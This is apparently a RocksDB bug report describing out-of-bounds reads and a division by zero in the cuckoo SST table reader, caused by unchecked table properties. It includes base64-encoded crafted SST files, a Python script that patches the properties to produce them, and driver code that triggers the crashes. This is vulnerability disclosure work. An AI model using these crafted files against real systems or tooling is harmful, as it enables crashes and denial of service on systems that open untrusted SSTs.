#15213·rocksdb

[BUG] Crash / OOB read and SIGFPE in CuckooTableReader when cuckoo SST table properties are inconsistent with the file

Author: wildorangesCreated Sep 15, 2026Updated Sep 17, 2026

Summary

In RocksDB main (91b96f41cf90cecb12330ccec6bc6b50145abd28) the cuckoo-table reader takes table_size, bucket_length, cuckoo_block_size and use_module_hash directly from the SST's user-collected properties block (table/cuckoo/cuckoo_table_reader.cc ctor), with no validation against the actual file size. Cuckoo SSTs carry no checksums (the footer is written with kNoChecksum and blocks are appended raw, see table/cuckoo/cuckoo_table_builder.cc Finish()), so patching those property bytes costs nothing. A crafted or corrupted .sst file (no checksums to satisfy) obtains:

  1. Wild out-of-bounds reads (offsets fully controlled by the crafted file)
    • iterator path: CuckooTableIterator::InitIfNeeded walks num_buckets = table_size_ + cuckoo_block_size_ - 1 buckets, reading Slice(bucket, key_length_) at file_data_.data() + id * bucket_length_ (only assert(num_buckets < kInvalidIndex));
    • point lookup: CuckooTableReader::Get reads buckets at bucket_length_ * CuckooHash(...).
  2. Division by zero: CuckooHash computes value % table_size_ when use_module_hash is set (table/cuckoo/cuckoo_table_factory.h).

tools/sst_dump auto-selects the cuckoo factory from the file's magic number and forces mmap reads (table/sst_file_dumper.cc) -- no configuration needed to reach the crash with a crafted .sst file.

Verified on a Linux build at that commit (all three files are 841 bytes):

# attack A (table_size 2 -> 0x400000) -- sst_dump scan:
AddressSanitizer: SEGV on unknown address (READ)
  #5 CuckooTableIterator::InitIfNeeded  table/cuckoo/cuckoo_table_reader.cc:296
  #7 SstFileDumper::ReadSequential      table/sst_file_dumper.cc:556
release build: SIGSEGV (rc=139)

# attack B (table_size -> 0, use_module_hash -> 1) -- SstFileReader::Get:
runtime error: division by zero  table/cuckoo/cuckoo_table_factory.h:39
release build: SIGFPE (rc=136)

# control (unmodified SST): sst_dump scan prints both entries, rc=0;
# SstFileReader::Get returns the value, rc=0

Root cause

table/cuckoo/cuckoo_table_reader.cc ctor reads geometry (table_size_, bucket_length_, cuckoo_block_size_, use_module_hash_) straight from user_props[...] via pointer casts with no consistency check against file_data_.size(); Get (:157-163) and InitIfNeeded (:289-303) then trust those values for pointer arithmetic.

Reproduction (end-to-end, self-contained)

Option 1 -- use the prebuilt test files (fastest)

Decode the three base64 blobs below (base64 -d), then:

BUILD_DIR/tools/sst_dump --file=attack1.sst --command=scan
#   ASan build:  AddressSanitizer: SEGV on unknown address
#                #5 CuckooTableIterator::InitIfNeeded  cuckoo_table_reader.cc:296
#   Release:     Segmentation fault (rc=139)

BUILD_DIR/tools/sst_dump --file=ctrl.sst --command=scan
#   prints both entries, rc=0

For attack B (SIGFPE) use the tiny public-API reader below (sstreader.cc from Option 2) -- the iterator path does not hit the modulo:

./sstreader attack2.sst
#   ASan build:  runtime error: division by zero  cuckoo_table_factory.h:39
#   Release:     SIGFPE (rc=136)

ctrl.sst (control, 841 bytes):

a2V5MDAwMDBhYWFhYWFhYWFha2V5MDAwMDF2YWx1ZTAwMDAxa2V5MDAwMDJ2YWx1ZTAwMDAya2V5MDAwMDBhYWFhYWFhYWFha2V5MDAwMDBhYWFhYWFhYWFha2V5MDAwMDBhYWFhYWFhYWFhABgFcm9ja3NkYi5jb2x1bW4uZmFtaWx5Lmlk/////wcJEwpyZWF0aW5nLmRiLmlkZW50aXR5U1NUIFdyaXRlchEQFHNlc3Npb24uaWRlbnRpdHlWREFPTDVZU1A0MVE2SDhaQ09GNg4HAW9uLnRpbWUACRYIdWNrb28uYnVja2V0LmVtcHR5LmtleWtleTAwMDAwDxABZmlsZS5pc2xhc3RsZXZlbAEPFARoYXNoLmN1Y2tvb2Jsb2Nrc2l6ZQUAAAAUDQFpZGVudGl0eWZpcnN0ABQDBG51bQIAAAAUBAhzaXplAgAAAAAAAAAUCQF1c2Vtb2R1bGUBFwoEcmtleWxlbmd0aAgAAAAPDAh2YWx1ZS5sZW5ndGgKAAAAAAAAAAgJAWRhdGEuc2l6ZWwJCwFlbGV0ZWQua2V5cwAICwFmaWx0ZXIuc2l6ZQAKDgF4ZWQua2V5Lmxlbmd0aAgJDQFvcm1hdC52ZXJzaW9uAAgVAWluZGV4LmtleS5pcy51c2VyLmtleQAOBAFzaXplAA4WAXZhbHVlLmlzLmRlbHRhLmVuY29kZWQACA4BbWVyZ2Uub3BlcmFuZHMACA8BbmV3ZXN0LmtleS50aW1lAAkOAXVtLmRhdGEuYmxvY2tzAQwHAWVudHJpZXMCDA4BZmlsdGVyX2VudHJpZXMADA8BcmFuZ2UtZGVsZXRpb25zAAwOAXVuaWZvcm0uYmxvY2tzAAgPAW9sZGVzdC5rZXkudGltZQAJEwFyaWdpbmFsLmZpbGUubnVtYmVyAQgMAXJhdy5rZXkuc2l6ZRAMCgF2YWx1ZS5zaXplFAgRAXRhaWwuc3RhcnQub2Zmc2V0AAAAAAABAAAAABIDcm9ja3NkYi5wcm9wZXJ0aWVzbIgFAAAAAAEAAAAA9AUgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAABzePHF0Ilnkg==

attack1.sst (table_size patched 2 -> 0x400000):

a2V5MDAwMDBhYWFhYWFhYWFha2V5MDAwMDF2YWx1ZTAwMDAxa2V5MDAwMDJ2YWx1ZTAwMDAya2V5MDAwMDBhYWFhYWFhYWFha2V5MDAwMDBhYWFhYWFhYWFha2V5MDAwMDBhYWFhYWFhYWFhABgFcm9ja3NkYi5jb2x1bW4uZmFtaWx5Lmlk/////wcJEwpyZWF0aW5nLmRiLmlkZW50aXR5U1NUIFdyaXRlchEQFHNlc3Npb24uaWRlbnRpdHlWREFPTDVZU1A0MVE2SDhaQ09GNg4HAW9uLnRpbWUACRYIdWNrb28uYnVja2V0LmVtcHR5LmtleWtleTAwMDAwDxABZmlsZS5pc2xhc3RsZXZlbAEPFARoYXNoLmN1Y2tvb2Jsb2Nrc2l6ZQUAAAAUDQFpZGVudGl0eWZpcnN0ABQDBG51bQIAAAAUBAhzaXplAABAAAAAAAAUCQF1c2Vtb2R1bGUBFwoEcmtleWxlbmd0aAgAAAAPDAh2YWx1ZS5sZW5ndGgKAAAAAAAAAAgJAWRhdGEuc2l6ZWwJCwFlbGV0ZWQua2V5cwAICwFmaWx0ZXIuc2l6ZQAKDgF4ZWQua2V5Lmxlbmd0aAgJDQFvcm1hdC52ZXJzaW9uAAgVAWluZGV4LmtleS5pcy51c2VyLmtleQAOBAFzaXplAA4WAXZhbHVlLmlzLmRlbHRhLmVuY29kZWQACA4BbWVyZ2Uub3BlcmFuZHMACA8BbmV3ZXN0LmtleS50aW1lAAkOAXVtLmRhdGEuYmxvY2tzAQwHAWVudHJpZXMCDA4BZmlsdGVyX2VudHJpZXMADA8BcmFuZ2UtZGVsZXRpb25zAAwOAXVuaWZvcm0uYmxvY2tzAAgPAW9sZGVzdC5rZXkudGltZQAJEwFyaWdpbmFsLmZpbGUubnVtYmVyAQgMAXJhdy5rZXkuc2l6ZRAMCgF2YWx1ZS5zaXplFAgRAXRhaWwuc3RhcnQub2Zmc2V0AAAAAAABAAAAABIDcm9ja3NkYi5wcm9wZXJ0aWVzbIgFAAAAAAEAAAAA9AUgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAABzePHF0Ilnkg==

attack2.sst (table_size patched to 0, use_module_hash -> 1):

a2V5MDAwMDBhYWFhYWFhYWFha2V5MDAwMDF2YWx1ZTAwMDAxa2V5MDAwMDJ2YWx1ZTAwMDAya2V5MDAwMDBhYWFhYWFhYWFha2V5MDAwMDBhYWFhYWFhYWFha2V5MDAwMDBhYWFhYWFhYWFhABgFcm9ja3NkYi5jb2x1bW4uZmFtaWx5Lmlk/////wcJEwpyZWF0aW5nLmRiLmlkZW50aXR5U1NUIFdyaXRlchEQFHNlc3Npb24uaWRlbnRpdHlWREFPTDVZU1A0MVE2SDhaQ09GNg4HAW9uLnRpbWUACRYIdWNrb28uYnVja2V0LmVtcHR5LmtleWtleTAwMDAwDxABZmlsZS5pc2xhc3RsZXZlbAEPFARoYXNoLmN1Y2tvb2Jsb2Nrc2l6ZQUAAAAUDQFpZGVudGl0eWZpcnN0ABQDBG51bQIAAAAUBAhzaXplAAAAAAAAAAAUCQF1c2Vtb2R1bGUBFwoEcmtleWxlbmd0aAgAAAAPDAh2YWx1ZS5sZW5ndGgKAAAAAAAAAAgJAWRhdGEuc2l6ZWwJCwFlbGV0ZWQua2V5cwAICwFmaWx0ZXIuc2l6ZQAKDgF4ZWQua2V5Lmxlbmd0aAgJDQFvcm1hdC52ZXJzaW9uAAgVAWluZGV4LmtleS5pcy51c2VyLmtleQAOBAFzaXplAA4WAXZhbHVlLmlzLmRlbHRhLmVuY29kZWQACA4BbWVyZ2Uub3BlcmFuZHMACA8BbmV3ZXN0LmtleS50aW1lAAkOAXVtLmRhdGEuYmxvY2tzAQwHAWVudHJpZXMCDA4BZmlsdGVyX2VudHJpZXMADA8BcmFuZ2UtZGVsZXRpb25zAAwOAXVuaWZvcm0uYmxvY2tzAAgPAW9sZGVzdC5rZXkudGltZQAJEwFyaWdpbmFsLmZpbGUubnVtYmVyAQgMAXJhdy5rZXkuc2l6ZRAMCgF2YWx1ZS5zaXplFAgRAXRhaWwuc3RhcnQub2Zmc2V0AAAAAAABAAAAABIDcm9ja3NkYi5wcm9wZXJ0aWVzbIgFAAAAAAEAAAAA9AUgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAABzePHF0Ilnkg==

(No checksum anywhere: the cuckoo SST footer is kNoChecksum, so the patched bytes load exactly as-is.)

Option 2 -- regenerate from source (for understanding/portability)

  1. Generate a valid cuckoo SST with the public API (SstFileWriter + CuckooTableFactory, two entries):
cpp
// gen_cuckoo.cc  (RocksDB public API)
#include <cstdio>
#include <string>
#include "rocksdb/sst_file_writer.h"
#include "rocksdb/table.h"
using namespace ROCKSDB_NAMESPACE;
int main() {
  std::string path = "ctrl.sst";
  (void)remove(path.c_str());
  Options options;
  options.allow_mmap_reads = true;
  options.table_factory.reset(NewCuckooTableFactory(CuckooTableOptions()));
  SstFileWriter writer(EnvOptions(), options);
  if (!writer.Open(path).ok()) return 1;
  if (!writer.Put("key00001", "value00001").ok()) return 1;
  if (!writer.Put("key00002", "value00002").ok()) return 1;
  ExternalSstFileInfo info;
  if (!writer.Finish(&info).ok()) return 1;
  printf("wrote %s (%lu entries, %lu bytes)\n", path.c_str(),
         (unsigned long)info.num_entries, (unsigned long)info.file_size);
  return 0;
}
bash
g++ -std=gnu++20 -g -O1 -I. -Iinclude gen_cuckoo.cc -o gen_cuckoo     -L BUILD_DIR -lrocksdb -lz -lpthread -ldl
./gen_cuckoo   # ~841 bytes, 2 entries
  1. Patch the two property fields (no checksums to fix):
python
# patch_cuckoo.py
import struct
blob = bytearray(open("ctrl.sst", "rb").read())

def varint(buf, i, shift=0, r=0):
    b = buf[i]; i += 1
    r |= (b & 0x7f) << shift
    return (r, i) if not (b & 0x80) else varint(buf, i, shift + 7, r)

f = blob[-53:]
pos = 1                    # skip checksum-type byte (0 = kNoChecksum)
m_off, pos = varint(f, pos); m_size, pos = varint(f, pos)  # metaindex

key = b"size"; start = 0; hit = None
while True:
    j = blob.find(key, start, m_off)          # properties block < metaindex
    if j < 0: break
    start = j + 1
    if j + len(key) + 8 <= len(blob):
        v = struct.unpack("<Q", blob[j + len(key):j + len(key) + 8])[0]
        if 0 < v < 0x10000:
            hit = (j + len(key), v)           # last hit = hash-table size
assert hit
voff, old = hit

b1 = bytearray(blob); struct.pack_into("<Q", b1, voff, 0x400000)
open("attack1.sst", "wb").write(bytes(b1))    # table_size -> 4 Mi buckets

b2 = bytearray(blob); struct.pack_into("<Q", b2, voff, 0)
um = blob.find(b"usemodule")
for j in range(um + len(b"usemodule"), um + len(b"usemodule") + 4):
    if blob[j] in (0, 1): b2[j] = 1; break
open("attack2.sst", "wb").write(bytes(b2))    # table_size=0, usemodule=1
print("wrote attack1.sst / attack2.sst (old table_size %d)" % old)
  1. Reproduce as in Option 1.

Point-lookup driver (public API, for attack B and the SstFileReader::Get path of attack A):

cpp
// sstreader.cc (RocksDB public API)
#include <cstdio>
#include "rocksdb/sst_file_reader.h"
#include "rocksdb/table.h"
using namespace ROCKSDB_NAMESPACE;
int main(int argc, char** argv) {
  Options options;
  options.allow_mmap_reads = true;
  options.table_factory.reset(NewCuckooTableFactory(CuckooTableOptions()));
  SstFileReader reader(options);
  if (!reader.Open(argv[1]).ok()) return 1;
  std::string v;
  reader.Get(ReadOptions(), "key00001", &v);
  printf("got %s\n", v.c_str());
  return 0;
}

Impact

sst_dump --file=<crafted>.sst --command=scan is a standard triage entry point that RocksDB tooling/automation runs on any SST; the same file crashes application read paths (SstFileReader::Get, DB reads with a cuckoo table factory). Effects are wild-offset out-of-bounds reads and a SIGFPE -- i.e. a crash on any system that opens a corrupted or crafted SST (backups, replication, tooling), with read offsets that can be pushed far past the mapped file.

Suggested fix

Validate at reader construction that table_size_ * bucket_length_ is consistent with file_data_.size(), that cuckoo_block_size_ > 0 is bounded, that table_size_ != 0 when use_module_hash is set, and reject bucket offsets past the mapped file in both Get and InitIfNeeded.